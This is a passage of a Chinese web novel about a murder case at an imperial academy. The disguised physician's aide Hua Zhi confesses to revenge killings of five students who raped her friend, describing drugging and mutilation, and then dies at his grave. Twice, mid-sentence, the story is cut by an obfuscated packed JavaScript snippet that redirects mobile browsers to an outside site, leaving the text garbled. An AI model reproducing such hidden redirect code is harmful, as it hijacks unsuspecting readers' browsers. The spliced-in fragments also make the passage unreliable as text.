祁青阳睁大了眼,凝眉牢牢注视着兰惜,沉默不语。
兰惜扫了眼人群,嘲讽般轻笑了一声,随即又抬起左手,伸到右侧耳根处,像是抓到了什么,随即手向左平拉。
随着兰惜的动作,一张俏丽明艳、没有任何疤痕的脸现了出来。
人群里顿时炸开了锅。
祝医师站在人群中,震惊地低声念出了一个名字。
祁青阳仍旧一脸疑惑,目光里满是陌生,仿佛根本没见过这张脸。
兰惜一点也不意外,她转过身面向台上正中。
“花芷?!”庞雄震惊地喊了一声。
兰惜就是花芷?!裴逍心内惊道。
花芷瞟了庞雄一眼,又转回身看向人群,一字一句地说起了前事。
“两年前,窦尧臣、王凛、赵子申、钱铎、沈维翰五人进入国子监,屡次欺凌轻慢于我,幸而有祁彦辰祁公子帮忙,我才没有落入那五个禽兽之手。”
“可天不随人愿,有一日,他们五个趁我落单,还是将我强行塞进了马车里,掳去了城外的别院,欲对我行不轨。”
“在别院下车之时,祁公子出现救了我。当时窦尧臣五人和家丁在后面紧紧追赶,祁公子让车夫先送我回去,自己留下阻拦窦尧臣几人。”
“车夫送我回到国子学,我找了祝医师再赶去别院的时候,窦尧臣几个畜生都不在了,只有祁公子一个人。”
“他趴在床上,不省人事,衣袍破碎,身后...身后全是血迹。”
畜生!裴逍咬住嘴唇,在心里咒骂了一声。
祁青阳两手垂在身侧,紧紧地攥起了拳头。
“祝医师帮他疗伤穿衣后,祁公子醒来了。”
“但是他的眼里已经没有神采了,他一动不动,仿佛整个人都破碎了。”
“过了许久,他才意识到我和祝医师的存在,他让我们先回国子学,说他想留在那休息一下,第二日便回。”
“我们想留下照看,但他坚持说自己可以,让我们先回。我们没有多想,便先回去了。”
“那是我这辈子最后悔的事情!我本应该...本应该想到的!他那么骄傲的一个人,怎么能受得了这种折辱?!”
“当我们感觉不对,返回去时,大火已经吞没了整个别院。”
“那么好!那么好的一个人,就这样被这五个畜生给毁了!”
46. 第46章
“可是他们却毫发无损,继续横行霸道,胡作非为!”
“再没有一个祁公子可以保护我了。祝医师劝我离开长安,我不愿。我想为祁公子报仇。所以我假装离开,又带上假的烧伤疤痕改换容貌,换了个身份重新回来让祝医师收留了我。”
“祝医师曾说,祁公子受伤严重,应是多人伤害所致。”
“他们那五个人,在马车中便曾动手动脚,戏弄于我。我一个个都记得清清楚楚的,当时想着自己是要死的了,记下他们来,做鬼也要找他们报仇!”
“后来被祁公子挡了这一灾,那我便替祁公子将这仇报了!”
“窦尧臣那混蛋是我卸下疤痕伪装,以女□□使他支开家丁与我单独会面,而后趁其不备将其绑起来,断掉他的子孙根,破坏他的谷道,让他感受一下被他所害之人的痛苦,让他慢慢挣扎痛苦流血而亡。他死了以后,我连夜用板车将他推上了山,本想让他跪在祁公子的墓前,但是尸体已经硬了,就那么趴着在那了。”
“窦家全城找窦尧臣,王凛自然也想早一步找到他,来讨好定国公府。我便利用这点,吸引王凛到我布置好的地方。王凛虽也好色,但比窦尧臣心眼多,我便用了迷药,将其控制住。他的死法和窦尧臣一样,因为窦尧臣干的那些坏事,他没少出主意,这样的下场,是他咎由自取。他的尸体是我以运送药草名义用板车推进来的,在圣人祠落锁之前,我带着那死尸提前藏了进去,第二日院工开门时我趁机跑了出来。”
“赵子申和钱铎两个人,我分别利用他们的名义将对方约到了典籍楼地下藏书室和明志湖,用了迷药辅助控制,先杀了他们,再断根,破坏谷道。”
“沈维翰原本是我要杀的最后一个人,我在他的饭中下了致幻的乌头,让他精神恍惚,产生幻觉,给他传信恐吓他到以前的斋舍给祁公子忏悔,而后在那斋舍里杀了他。”
“这就是杀人手法和经过,五个畜生的死,皆我一人所为!”
“祁公子死的那刻,我便也跟着死去了。现在的我早就已经不人不鬼,我才不在意别人什么看法!我就是要让他们也尝尝这种痛苦!让他们屈辱地死去!让他们这些霸凌他人者终被霸凌而死!”
“哈哈哈哈哈哈,只是可惜还漏了一个。沈维翰快死的时候,曾经清醒了片刻,从他口中,我才知道,当年除了他们五个施害的,还有一个望风的庞雄!这一个没来得及杀掉,实在是可惜。”说着,花芷目光冷冷射向庞雄。
庞雄哆嗦地摔坐在地上,求饶似地说,“我没有对祁彦辰行那事,我没有,我对男的没有欲望。我只是,只是在外面给他们望风。”
他的话更坐实了花芷所说。
“那你不是帮凶吗?看他人行恶而旁观,甚至还帮忙的,你还想撇清干系、独善其身?”花芷怒斥道。
庞雄似被击溃了防线,无力地说道,“果然你也是要杀我的。原本窦尧臣、王凛、赵子申、钱铎他们四个人死,我还没意识到会牵连到我,因为他们四个人经常一起欺男霸女、荤素不忌,开罪的人太多了。直到沈维翰也死了,我才感觉到危险。沈维翰和我一样,对男的没兴趣,只是因为他和祁彦辰是室友,那次他被逼着对祁彦辰行事——”
花芷打断庞雄,“那又怎么样?你和沈维翰也不冤,没有种下恶因,就不会有今日之恶果。”
“可是,可是那祁彦辰是自戕!”庞雄自辩道,“我们,我们最多只是奸污了他。你杀了我们五个人,还要杀我,这报复也太恶毒了吧!”
花芷冷笑了一声。“你们做的恶事有多少,你们心里清楚,没有暴露出来的无非是畏惧你们的家族势力,像我这样无牵无挂敢与你们死拼的,能有几个?”
庞雄见花芷攀扯其他事情,连忙反驳道,“你胡说!”
“她没有胡说!”
清亮的女声响起。众人纷纷寻找声音来源,在人群最后,出现了一个清瘦隽秀的少女。她推着康王缓缓往前走。
这少女竟是此刻应在女学之中的林曦月。
站在学子中间的林致远看到妹妹突然来这里,甚为疑惑,同时想到她一闺阁女子,闯入这都是外男的国子学中来,心里已经升起微微的斥责怒意。
“一年前,你们曾在女学外把我掳进马车,幸而遇到康王殿下,我方才得救。”林曦月道出这段往事,语气果决坚定,瘦小的身影仿佛突然爆发出了无尽的勇气。
突然听到这话的林致远,神情错愕,旋即攥紧了衣袖中的手。
“本王可以作证。”康王坐在木椅上,悠悠开口。
林曦月接着道,“一个月前,窦尧臣于樊川之上,又一次将我掳进马车欲劫走。多亏我当时结伴春游的几位朋友及时赶回搭救,方才幸免于难。”
“学生可以作证。”夏慕卿走上前行礼道。
“小女子是在女学之中就读,家世虽不显赫,却也是林丞相之幺女。你们对我尚且敢肖想行恶,可想而知,京城之中,曾受你们荼毒的良家子女还会少吗?!国子学内,受你们欺凌侮辱的学子又怎么可能只有祁彦辰一个?”林曦月直视着庞雄,斩钉截铁道。她的手紧紧抓着康王的椅子,仿佛在汲取勇气,也仿佛在克制着自己的愤怒。
“没错。上月初八,窦尧臣等人携家丁在这国子学中曾打算掳走学生。学生拼死反抗,后被同窗所救。当时学生为了抵御迷药药性,在左臂上划的伤现在还可以看到伤痕。”裴逍走到祁青阳身边,掀袍跪下说道。
事情发展到这一步,裴逍认为只有暴露出的窦尧臣等人的恶行越多,祁青阳和花芷所受的攻讦、非难和处罚才能稍微轻一些。国子学中受窦尧臣等人欺凌的学子绝对不在少数,她想自己带头,看能否引来更多学子申诉。
在利益交错复杂、关系纷乱的京城之中,这相对干净一些的国子学,怕是最合适的伸冤之地了。今日场上人员众多,不仅有师生,还有府衙之人和院工,消息想必也会很快传出去。在消息被封锁之时,窦家等家族想要掩盖一些东西会很容易。但是一旦消息传出去,街知巷闻,纵使他们势力再大,想要堵住悠悠民众之口那也会难之又难。
“休要胡言!这国子监中岂有学子敢如此大胆行事?虽定国公世子等人已逝,但律法也不容得给其胡乱妄加罪名。”那京兆府尹突然指着裴逍斥责道。
他话音刚落,百里摇光走到裴逍身边,也掀起衣袍跪下,说道,“学生可以作证,以百里世代将门之誉为誓,裴逍所言句句属实!”
京兆府尹一时语塞,忠国公府他自然得罪不得,更何况百里摇光还搬出了百里家族荣誉盟誓。他正不知该如何收场,没想到又跳出了一个。
“学生姜飒,乃温国公之孙,先皇后、刑部侍郎姜大人之侄,也愿作证。窦尧臣几个纨绔曾带家丁掳掠裴逍未果。并且在学子们之间的蹴鞠切磋时,还曾持武器暗中伤人。”姜飒跪到百里摇光身边说道,他到底是浸润在京城里有了一些时日,对时人看重出身门第的风气已看得透透的,索性把名号都搬出来用。
台上姜琛见此,瞟了他一眼,无奈地抚了下鼻头。
“窦尧臣掳掠裴逍一事,学生也亲见。”一直沉默着的祁青阳,看了看裴逍和她身边的百里摇光、姜飒、夏慕卿,对着台上说道。
“并且,上月十九日骑射旬考结束后,窦尧臣又掳走了学生我,欲行不轨。那日他亲口对我说,家兄...家兄曾被其奸污!而且这无耻之徒,竟还想让我也落得如此下场。好在,苍天还不至于这么瞎,让我被人所救。”
裴逍这才知道,原来祁青阳是这样得知了祁彦辰的死因。她抬眼看祁青阳,祁青阳朝她淡淡一笑,那笑容极为苦涩。
“你也状告窦世子?可有人证?又是谁救了你?”那京兆府尹好不容易看到个好拿捏的,语气不善地问。
“苟大人,学生夏清泽可以作证。窦尧臣抓祁青阳那日我看到了,我想拦阻没来得及,后来找人打算去救时,见祁青阳已经自己回来了,就没再追究。”
裴逍几人都没想到夏清泽能出来作证,直到夏清泽一撩衣袍跪在旁边,几人还在盯着他看。夏清泽别扭地低声道,“小爷知道自己长得俊,你们也不用这么盯着看”。
那京兆府尹自然认得夏清泽是平王世子,不是他能得罪的起的,便没再说话。
“祁二公子是我救的,我假传消息给窦家家丁,说窦尧臣的父亲回京召其回府,然后放火引开一部分家丁,祁二公子才得以逃出。我隐忍这些时日,到上旬才动手杀这几个畜生,就是因为连祁二公子都被盯上了!我不能再拖了!再晚,不知道祁公子的悲剧还要重演多少!”花芷道。
祁青阳之前抄写那几个字时,仔细查看字迹,便是想看看是不是之前救自己的人。只是他没想到,救他的,竟是这么一个弱女子。然而花芷虽文弱,却如此有情有义,一腔孤勇地为兄长报仇,兄长何其不幸?却也何其有幸!
花芷沉痛的声音让场上再次陷入寂静。
她虽然下手狠辣,但却也是被逼到绝路才行此非常之事。她无畏无惧地冲在前、挡在前,以血肉之躯,拼的一身剐,用最直接、最暴力、也最有效的方式,屏蔽开纨绔家族的势力阻隔,手刃了那几个人,又何尝不是为众人抱薪者?!
人群中陆续响起了伸冤之声......
“学生张幼清曾被窦尧臣、王凛、赵子申、钱铎胁迫侮辱,在书院之中供其泄欲,他们威胁我,如果我敢说出来,就要让我全家灭门。”
“学生杨青云之妹曾被窦尧臣、王凛、赵子申、钱铎、庞雄五人侮辱后跳河自尽。”
“学生陈瑛的室友江允文曾被窦尧臣等
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800034|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
六人长期辱骂责打,精神错乱,不堪其苦,被迫退学归家,至今仍不敢出门,生活不能自理,只得靠家人照顾。”
“民女的女儿本有婚约,就快要嫁人了,一次在国子学门口,被窦国舅爷几人见到,便被他们强行抓走了。民女现在都不知道闺女在这几位公子爷谁家府上,甚至不知道人是不是还活着。民女去告官,也没人理会我。”会馔堂的阿婶跪坐在地,嚎啕大哭。
“小人李敢的儿子,只因搬货时不小心冲撞了窦国舅爷,就被窦国舅爷纵家丁打折了腿,成了残废。小人们也不敢跟窦家对簿公堂,只能自己养伤,躲得远远的。”李老丈用袖子擦了眼泪,步履蹒跚地走上前跪下。
......
一桩桩、一件件,膏梁纨袴之恶趣,寒门布衣之血泪。
姜琛长叹了一口气,问道,“辛主簿,都记下来了吗?”
“大人,确定要记吗?”那叫辛主簿的官员在众人开始告罪之后就停了笔。
“记!”
姜琛向前几步,站到高台正中,高声道,“今日所有陈情,本官将据实记录整理向上呈报,涉及刑律案件,本官会请旨派人一一审查。所有苦主和证人,如有安全担忧,请晚些随我府上长随安置。诸位尽可放心,这些事,都会有个交待。”
说完,姜琛朝着冯祭酒拱手道,“冯大人,涉及国子监内院规院纪、处分整顿的事,就交给您了。”
冯祭酒脸色沉郁难看,闻此点了点头。
姜琛朗声说道,“虽国子生窦尧臣、王凛、赵子申、钱铎、沈维翰、庞雄一干人涉嫌强抢民女、纵仆行凶等罪行,但未经司法审查而私害人命,仍是触犯律法之大罪。国子监学子命案,今已侦破,凶手乃国子学医舍医仆花芷,即刻将其押入刑部大牢待审。国子生祁青阳扰乱官府查案,暂押入刑狱调查核证。”
“等等”,花芷开口,“姜大人,你们应该还需要物证归案吧?犯案凶器我藏起来了,我现在带你们去找,以尽快结案可好?”
姜琛盯着花芷看了一会,然后说,“请姑娘带路。”
“二叔,祁青阳——”姜飒正要说什么,裴逍拦住他,摇头示意。随即她身子向祁青阳那侧倾了倾,悄声说,“现在在刑部大牢想必更安全。”
祁青阳点了点头,他看向裴逍几人,突然笑了,口中说道,“谢谢你们”。大仇得报,知道真相,祁青阳终于放松了下来,他似乎对未来如何都不在意了。
“要谢我,就早点回来,斋舍里一个人住太冷清了。”夏慕卿直直看着祁青阳说道,他担心祁青阳放下执念后也放下求生欲。
“就是!我们还等着你蹴鞠呢。”姜飒道。
百里摇光没说什么,拍了拍他的肩。
“前路漫漫,我在国子学等着你。”裴逍最后道。
祁青阳愣怔了半晌,衙役押着他,跟着姜琛走了。
祭酒让众人都散去。
裴逍几人见没人阻拦,便也在后面跟着姜琛和花芷一行,出了国子学,来到了玉山祁彦辰的墓前。
那墓便是之前裴逍见过一次的。墓很是清简,只一个土堆,竖着一块石碑,上书“祁彦辰之墓”,石碑前长满了白色的小野花。
“花芷姑娘,犯案凶器在何处?”姜琛问。
“凶器在——”花芷话音一顿,突然挣脱衙役撞向了祁彦辰的墓碑。
“啊——”人群中发出惊呼。在花芷身侧的两个衙役晕倒在地,立马有人来查看,“大人,是中了迷药”。
姜琛点了点头,吩咐道,“将他们扶去一旁休息。”他看着一头撞在墓碑上血流如柱的花芷,形容平静,但是深邃的眼底却藏着一丝淡淡的哀痛。
看到花芷在人群中逡巡的眼神,裴逍走了过去。
她在花芷提出要去找凶器的时候,就猜到可能是这样的结果了。她也知道这其实可以算是最好的结局了,可是眼里还是淌下泪来。她想起今日从医舍离开时,兰惜将药方给了她,欲言又止,最后还跟她说了一声“好好保重”,现在才明白原来那时兰惜就已经在跟她告别了。
花芷看着裴逍走来,不再在人群中扫视,声音细弱地开口,“裴公子,抱歉,我只能隐瞒身份——”
裴逍半跪在地,道了声,“我明白。”
“还请裴公子再帮我个忙,”花芷抱靠着墓碑,看着裴逍缓缓说道,“我死后,把我葬在这吧。”虽是在交待自己的后事,她的语气却一点也不伤悲。想是终于能解脱了吧。
“好”,裴逍眼中泪光闪动,语气哽咽,接着道,“祁青阳我也会尽力看顾”。
“如此,我便可以放心去见祁公子了......”
花芷倚靠着墓碑,缓缓闭上了眼,神情静谧安详,嘴角扬起了一个弧度,仿佛是倚靠在最心悦的少年郎的肩上。
47. 第47章
祁青阳望着兄长的墓碑和倚靠墓碑长眠的清隽少女,心想,对于哥哥和花芷姑娘,这可能就是最好的结局了吧。
花芷姑娘保护了他免被欺辱,替哥哥报了仇,也替自己去做了那个拿着屠刀惩恶却也万劫不复的人。
自己应该好好活下去,带着他们那份多活些年岁,方才不负这番情义。
衙役押着祁青阳先回了府衙,姜琛还站在原地。
人流走远,裴逍起身道,“大人其实知道花芷是来做什么的吧?谢谢大人成全。”
半晌,姜琛方才开口,“过刚易折,虽然要面对的可能是万难,但祁彦辰,未必没有别的选择。论对命运的不屈服,花芷姑娘比他做得好。”说罢他轻叹一声,转身离开了。
姜飒安排家仆送来了棺木。裴逍几人将花芷安置其中,在祁彦辰的墓旁挖了坑,将棺木下葬,掩土立碑。
“别了,兰惜。”裴逍庄重地行了一礼,在心中与此生第一个知道她女子身份的朋友告别。
·
下山回书院的路上,姜飒问,“阿逍,我与二叔说青阳的事情时,你为什么拦我呢?”
“我知道你想给祁青阳求情。不过,我觉得姜大人此时将祁青阳暂时关起来,并不是要治他的罪,而是要保护他。”裴逍解释道。
“是吗?”姜飒仍旧不解。
裴逍接着道,“嗯,如果我猜得没错,姜大人在今日召所有人验看笔迹之前,其实已经基本确定了杀人的是兰惜。他之所以兴师动众,召集所有人抄写那几个字,其实是想逼迫兰惜当众认罪,同时确认祁青阳与兰惜有没有合谋。”
“那我更不明白了,二叔既然已经知道杀人的是兰惜,为什么不能直接带人抓她?而非要让她当众认罪呢?”姜飒道。
“因为姜大人虽然根据现有的线索推断出是兰惜所为,但是他缺少实证,而且对兰惜行凶的目标、手段和过程等还没有掌握,如果按正常案件侦查程序收集证据、审讯的话,这案子要侦破怕是还需要些时日。每耽误一天,可能就又会多一个人死去。所以为了能更快侦破此案,他便采用了今日这样的非常之法。”
“可是,姜大人是怎么推断出是兰惜杀的人呢?”百里摇光问。
裴逍道,“之前姜大人说查花芷下落的事情交给他,想必他已经查到了,花芷根本就没有回乡,更没有远嫁,而兰惜投靠祝医师时声称是花芷的远方亲戚,这个身份可能也被查到是假的。那么兰惜很可能就是伪装后的花芷。有这个信息,再去推断兰惜杀人的可能性,就会容易一些。
比如王凛的尸身是从外面运进来的,没有马车进出的情况,就只能是推车将尸体混在其他物品之中送进来,而医舍曾运送过一批药草进入书院。再比如,我们跟随姜大人去找祝医师时,典籍楼的院工正在与祝医师饮酒,之前我去过一次,也恰好碰到那院工在与祝医师饮酒,从两人交谈得知,那院工时常醉倒在医舍,由祝医师送回家中。那兰惜就可能是在院工醉酒之时窃取了钥匙,而后自行配制了,于是她便可以随时进入典籍楼地下藏书室。还有,兰惜在圣人祠被雷火击中那晚之后,曾患了风寒,那是因为冒着大雨将窦尧臣的尸体运上山导致的。”
“我之前曾注意到,兰惜因为浸润在医舍和药房,身上一直带着股淡淡的药草味。当时我们在典籍楼地下藏书室发现尸体时,我曾闻到一股熟悉的香味,当时没想起来是什么,现在想来那就是兰惜姑娘身上的药草味。”
“对了。”夏慕卿道,“你们还记不记得?沈维翰在会馔堂撞到我的那日,兰惜姑娘正好在那里帮厨!她应该就是那时在沈维翰的饭菜里下了药,所以沈维翰的行为举动才那么奇怪。还有尸格中记录所有的颈部切割伤都是从右往左下方倾斜,右侧起始处较深,向左变浅,说明凶手是左撇子。之前看兰惜给裴逍疗伤时,便是主要使用左手。而她今日抄写时,却是用右手写的,而且写得非常生疏。那正是因为她担心用左手写笔迹会被认出,提前把左手伤了。但殊不知,这样反而更加确定了姜大人心中的猜测。”
“嗯”,裴逍应了一声,接着道,“所以姜大人故意宣布核验笔迹与祁青阳一致,其实是想看看祁青阳和兰惜的反应,来判断两个人有没有合谋。若祁青阳被指认为凶手,却没有反驳,那么他便极大可能是与兰惜合谋,一个制造诡异事件迷惑众人,另一个实施杀人。”
“不过没想到,青阳和我们一样,根本都不知道兰惜就是花芷。不过即使这样,他也还是没有反驳。”姜飒道。
“青阳虽然不知道真凶是兰惜,但他猜出来那人也是为了给他兄长报仇,所以他在没有与兰惜通谋的情况下,在书院里布置那些诡异事件,其实是为了帮真凶引开注意力,但他一开始应该也没想到凶手正好就利用了那些发生诡异事件的地方。而兰惜并不知道是青阳所为,她只是见书院中这些事件正好可以利用,便将尸体都转移到了事件中的这些地方。”夏慕卿道。
百里摇光叹了口气,“青阳没有行凶却甘愿认罪,兰惜不愿青阳卷入这场复仇而主动认罪,他们两个......唉。”
几人静默了半晌,夏慕卿又道,“不过,即便兰惜认罪,并竭力撇开与青阳的关系,也没办法洗清青阳的嫌疑。正是姜大人现场对青阳诈询的那些问题,才洗掉了他的嫌疑。如果是京兆府尹苟大人审的话,恐怕早就把青阳一并打为凶手抓起来了。所以,裴逍说得没错。姜大人既然已经费力洗清了青阳的嫌疑,那他把青阳暂押刑部核问,应该就是为了保护他免受窦家和其他几个家族的报复而找的借口。”
“原来是这样,我二叔果然是个明理的。”姜飒恍然大悟。
夏慕卿徐徐道,“我总觉得姜大人之前已经猜到,凶手杀窦尧臣五人的根源,在于他们之前对祁彦辰的霸凌行为,他今日当众审案,或许还想扩大此案影响,动摇窦家地位,同时,也推动国子监改革。”
姜飒双眼一亮,说道,“那我二叔岂不是很厉害?”
“姜大人是长安有名的才子,当年在国子监读书时,就是书院的名人,常年霸榜魁首,你不知道吗?”夏慕卿问。
“还真不知。”
“不过,他也有个对手。”夏慕卿说道,“自那人来了,他便只能屈居第二了。”
“那是何人?”百里摇光问。
“就是我之前跟你们说过的,十几年前考了进士科榜首却缺席曲江宴失踪了的那个裴晔。裴逍上诗文课还念过他的诗来着。”
裴逍低了眉眼,心里想到,姜大人果然也是父亲的旧识,那日姜大人问她父亲名讳,或许是自己哪里让他想起了父亲。
·
几人回到国子监,因为连环杀人案已经侦破,书院中不再要求学子们集中歇宿,众学子纷纷携铺盖回去原先斋舍,姜飒也被裴逍赶回了自己的房间。
国子监学子们的求学生活第二日便回归正常。
在书院中的他们不知道,昨日集众审案后,定国公世子等几个纨绔在国子学中恃强凌弱、在京中欺男霸女等等事迹不胫而走,在整个长安城中已经开始大肆传播,上至皇亲贵胄,下至市井百姓,没有不在公开或私下谈论这事的。
消息传播迅速,一方面是由于当日集众审理,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800035|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人员众多,且有国子学院工等平民百姓,另一方面或许还有人在背后推波助澜。不过此事闹得越凶,对于涉案的单个苦主来说却更为安全有利。
姜琛当日回府撰写奏折后,第二日一早便呈给了皇帝。圣上龙颜大怒,敕令刑部侍郎姜琛审理定国公世子等人强取豪夺、欺压良善的诸多罪行,还无辜百姓以清白和安宁,以平民愤。
此事一出,窦皇后脱簪请罪以求减轻家族罪责。窦家自辅助新皇登基,稳定朝纲,窦家女得登后位,至今十余年,可谓是享尽了圣眷隆恩,家族势力发展迅猛。窦氏家族中人行事相对低调,窦家的政敌一向挑不到什么错处。但因定国公及其子常年驻守西南,京中独剩一干女眷及旁支亲眷,窦尧臣作为嫡孙在府中被宠惯纵容地无法无天。唯一这一处,成了撕开定国公一派的一道口子。窦家和其他几个纨绔所在的家族,自此开始被朝中官员频繁上折子参奏。
国子生霸凌一事,冯祭酒作为管理国子监的主事者,责无旁贷。他向圣上上表请罪,请求削官,从重处罚。圣上念及冯祭酒多年来对大夏朝学术与人才培养事业的贡献,对冯祭酒进行了罚俸,仍要求其任原职。
冯祭酒对国子监采取了一系列改革措施,比如增加德行分考核占比,增加对书院博士、院监的考核,每班设置班主的角色,由博士助教担任,以尽可能多地关注学子们的日常求学和生活情况;增设了祭酒信简,国子监中任何学子、先生、院工都可匿其名姓,修书与祭酒,陈情申诉。
学子们经此一事,也多少都受到些影响和触动,无论是出于畏惧多行不义自食恶果,还是因为怕牵连家族,总之都开始约束自己的言行,一时之间国子监学风大好。就连夏清泽与人说话时都没有从前那么颐指气使了。
窦尧臣的事情告一段落,裴逍终于可以在国子学安心读书。读书之余,她与姜飒几人继续参加蹴鞠队的训练,备战不久后与太学学子的蹴鞠比试。
·
这旬旬假,姜飒找二叔姜琛疏通以后,几人一同去了刑部大牢。
祁青阳被关在最里面的一间,周遭很长一片区域的牢房都是空的,所以也就比较安静一些。
裴逍走近,见里面放了一个长木塌,上铺床褥,虽是简单,但在这牢房里已是格外优待了。牢房里还有一张小几,放了笔墨纸砚和灯烛。祁青阳正端坐在几前,低头看着册书卷。
“青阳。”姜飒唤道。
祁青阳抬头看见是他们几个,眼中闪过惊讶,旋即脸上升起欣喜之色,连忙起身走到牢房边问道,“你们怎么来了?”
“我们来看看你。你在这里还好吗?”姜飒道。
“嗯,我很好。姜大人对我很关照了,还安排了这些来让我打发时间。”说着,他指了指几上的笔墨书卷等物件。
“那就好,我也带了些打发时间的东西给你。”夏慕卿说着,将手中的书籍、九连环等物从牢房的铁栏杆中间缝隙里塞进去。裴逍没说什么,也一并将街市上买的点心吃食塞了进去。
祁青阳一一接过,郑重地对几人道,“谢谢你们”。
“何必客气。我们给你说点好消息吧。”夏慕卿随后将近期这件事的发酵情况以及国子监的改革等都讲给了祁青阳。
“太好了!”祁青阳没想到这件事能引起这么大的影响,甚至能撼动那些纨绔膏粱所在家族的地位,为平民百姓申不白之冤,这显然是意外之喜。倏忽间,他想到这一切变化的开端是花芷姑娘拿起刀给兄长报仇,心下又是一片怅然和苍凉。
“你们知道吗?”他说道,“其实,我也准备要杀窦尧臣了。”
48. 第48章
牢门外的几人心内唏嘘,他们又何尝没猜到?
“窦尧臣将我抓去欲行不轨,还亲口跟我说兄长曾被他侮辱。他跟我说的时候,脸上那种得意和满不在乎,让我当时便想杀他了。我手里藏了支袖箭,若不是花芷姑娘假传消息引走了窦尧臣,那日我便与他鱼死网破了。”
“后来,我设计布置了圣人祠屋檐被火烧毁,制造灵异事件,是想在圣人祠杀了他,以扰乱视听。没想到他竟然被人先一步杀了。”
“到此,我虽然没有亲自报得了仇,但窦尧臣被人杀死,还是以那样痛苦屈辱的方式,死后尸身也要趴在兄长的墓前谢罪,我也算是解恨了。我也猜到了凶手定然是此前与兄长交好之人,很可能也是我被窦尧臣抓走那日解救我的人。我本打算就此放下这事。”
“但是后来又死了第二个人,也是窦尧臣一伙的,还是死在了圣人祠,我虽然不知道为兄长报仇的那人为何又杀了第二人,但考虑到他给兄长复仇的恩情,且有可能被杀的第二人也与兄长之死有关,我便想按之前自己的设想,继续在书院中布置诡异事件,扰乱视听,好让那人更加安全。”
“我在典籍楼和明志湖动了手脚,那人又正好利用了我设置了诡异事件的地点,让案情变得更加扑朔迷离。但典籍楼的尸身被发现之后,我便被京兆府限制了自由,是以后来没有再能继续设置诡异事件。”
“直到那个曾做兄长舍友的沈维翰死了,而且他的尸身是在兄长之前所住的斋舍,我才更加确定,死的几个人应该都与当年兄长的死有关。那真凶,一直是在为兄长报仇。”
“我来国子学,就是为了查兄长当年为何突然离世,还是说以自焚这样不寻常的方式。到了院中,我查到兄长离世之前曾在国子学门口坐马车离开。我找不到那车夫,线索就断了。我也不知道后来发生了什么事,也是那日听花芷姑娘当众所说,我才知道当年的真相。”
“我被窦尧臣抓去的那日,花芷姑娘救了我,但当时她并未露面,我不知是谁。姜大人召众人写字验笔迹,我认出那就是救我的那人的笔迹。所以,当姜大人指认我是凶手的时候,我便认下了。我想此人冒险为兄长报仇,还救了我,为他顶罪就当还恩了。”
“只是没想到,她竟自己出来认罪了,还替我撇清了嫌疑。更没想到,这人,竟然是兰惜姑娘。”
“她是替我入了地狱。”
祁青阳仰头看向牢房墙壁高处那一格透出天光的窗子,两行泪从脸上滑下,滴到了牢房地面的茅草之上。
夏慕卿轻叹了口气,说道,“青阳,都过去了!你得往前看!带着你兄长和花芷姑娘的那份好好活下去。”
祁青阳没有回头,哽咽地回应,“嗯。”
裴逍从怀中取出一块玉佩,开口道,“祁青阳,给你这个。”
那玉佩自她们在青楼里从车夫马四那里要回,便一直放在裴逍这里,此前书院中事件频频,祁青阳刻意与他们保持距离,而且还是案件的重要嫌犯,裴逍一直没有合适的机会交还给他。”
祁青阳回头,认出那是他兄长的玉佩,快步走了过来,从裴逍手中接过,手指颤抖地细细摸索。半晌,他抬头问,“你从何处找来的?”
裴逍道,“我们找到了那个车夫,从他那里要回了玉佩。”
“你们也在查当年我兄长的事情?”
裴逍点了点头,说道,“窦尧臣险些掳走我那日,曾说起,他对你兄长行不轨之事。这件事没有查证,我便没有与你说。我想窦尧臣后面不会轻易放过我,我便想查他来争取一些主动权,所以开始查你兄长的事情,姜飒他们都是为了帮我才加入的。后来,我们寻到那车夫,得知你兄长是为了救花芷陷入危险,但是因为找不到花芷,我们查的线索便也断了。”
“原来是这样,多谢你们帮我取回兄长的遗物。”祁青阳感激地道。
“其实此事一了,也替我化解了危机,还有无数像你我一样的学子和百姓的危机。”裴逍道。
祁青阳注视着裴逍,他完全明白裴逍表达的深意,重重地点了点头。
“好了,你多保重,我们在国子学等你。”
裴逍几人走远了,祁青阳望着他们远去的方向,双手平举在前,郑重地行了一个大礼。
·
几人出了刑部大牢,百里摇光和夏慕卿要回府过旬假,裴逍和姜飒坐上姜府的马车,准备回国子学。
百里摇光突然想起什么,叫住了马车,与裴逍说道,“看见刚才那玉佩,我方才想起来。我三叔外出公干快要回来了,你那碎掉的玉佩可以交给我,我带回去找三叔帮忙修补。”
裴逍心中一喜,欣然将三块碎玉交给了百里摇光。
·
国子学与太学学子的蹴鞠比试于四月十九日举办。这一旬,书院中将旬考时间由每旬的第八日、第九日提前到了第七日、第八日,而原本要旬考的第九日,专门空了出来用于学子们参赛及观赛。
比试的场地就设置在了国子学的校场之上。主持比试的官员有礼部官员、国子监冯祭酒等人。安王是这场比试的重要推动者,作为比试的特邀嘉宾坐于看台之上,他还从京营中专门请了位擅长蹴鞠的将领来做裁判。观赛人员主要是两院的学子。
那裁判高声宣布“国子学、太学学子蹴鞠赛开始,两队蹴鞠手行礼,抽先手。”
两支蹴鞠队二十四个少年分列两边,互相抱拳行礼。
站在队伍前侧的几个少年容貌气质格外出众,引得观众们的视线都集中在他们几个身上。
“太学最前面那个俊朗的学子是谁啊?”国子学这边学子们纷纷在打听。
